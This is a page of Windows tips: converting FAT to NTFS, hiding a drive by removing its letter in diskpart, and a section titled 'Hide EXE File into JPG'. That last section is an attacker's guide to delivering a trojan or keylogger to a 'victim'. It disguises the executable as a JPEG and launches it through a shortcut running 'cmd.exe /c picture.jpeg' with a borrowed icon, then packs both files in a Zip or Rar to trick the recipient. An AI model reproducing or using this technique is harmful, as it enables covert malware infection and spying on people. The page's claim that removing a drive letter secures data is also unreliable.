Convert FAT - NTFS

To convert a FAT partition to NTFS, perform the following steps. 

1) Open 'Command Prompt'. 

2) At the command prompt, type the following- 

CONVERT [driveletter]: /FS:NTFS. 

'Convert.exe' will attempt to convert the partition to NTFS. 


NOTE :- Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command.

Hide Entire Drives Partition Without Registry

Here is a cool technique which hides entire hard disk drives by a simple procedure.
This is the best security tip to be employ against unauthorised users.

1) Go to Start> Run> type "diskpart".
A DOS window will appear with following description.

DISKPART>

2) Then type "list volume"
The result will look something like one as shown below-



3) Suppose you want to hide drive E then type "select volume 3"
Then a message will appear in same window { Volume 3 is the selected volume}

4) Now type "remove letter E"
Now a message will come { Diskpart Removed the Drive letter }

sometime it requires to reboot the computer.
Diskpart will remove the letter.

Windows XP is not having capabilty to identify the unknown volume.
Your Data is now safe from unauthorised users.

To access the content of hidden Drive repeat the process mentioned above. But in 4th step replace " remove" by "assign".
It means type "assign letter E".

Hide EXE File into JPG

This is a good trick to hide your exe files into a jpg file..!

How about sending a trojan or a keylogger into your victim using this trick..??

1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked.
Basically what you need is to see hidden files and see the extension of all your files on your pc.

2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it)

3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg'

4) Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.

5) Now create a shortcut of this 'picture.jpeg' in the same folder.

6) Now that you have a shortcut, rename it to whatever you want, for example, 'me.jpeg'.

7) Go to properties (on file me.jpeg) and now you need to do some changes there.

8) First of all delete all the text on field 'Start In' and leave it empty.

9) Then on field 'Target' you need to write the path to open the other file (the server renamed 'picture.jpeg') so you have to write this :-
'C:\WINDOWS\system32\cmd.exe /c picture.jpeg'

10) The last field, 'c picture.jpeg' is always the name of the first file. If you called the first file 'soccer.avi' you gotta write 'C:\WINDOWS\system32\cmd.exe /c soccer.avi'.

11) So what you’re doing is when someone clicks on 'me.jpeg', a cmd will execute the other file 'picture.jpeg' and the server will run.

12) On that file 'me.jpeg' (shortcut), go to properties and you have an option to change the icon. Click that and a new window will pop up and you have to write this :-
%SystemRoot%\system32\SHELL32.dll . Then press OK.

13) You can set the properties 'Hidden' for the first file 'picture.jpeg' if you think it’s better to get a connection from someone.

14) But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.

15) For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to 'picture2.jpeg' and the shortcut to 'picture1.jpeg'.
This way the shortcut will show up first. If you set hidden properties to the server 'picture.jpeg' then you don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a Zip or a Rar file.

16) So the best way to send these files together to someone is compress them into Zip or Rar.

17) inside the Rar or Zip file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.
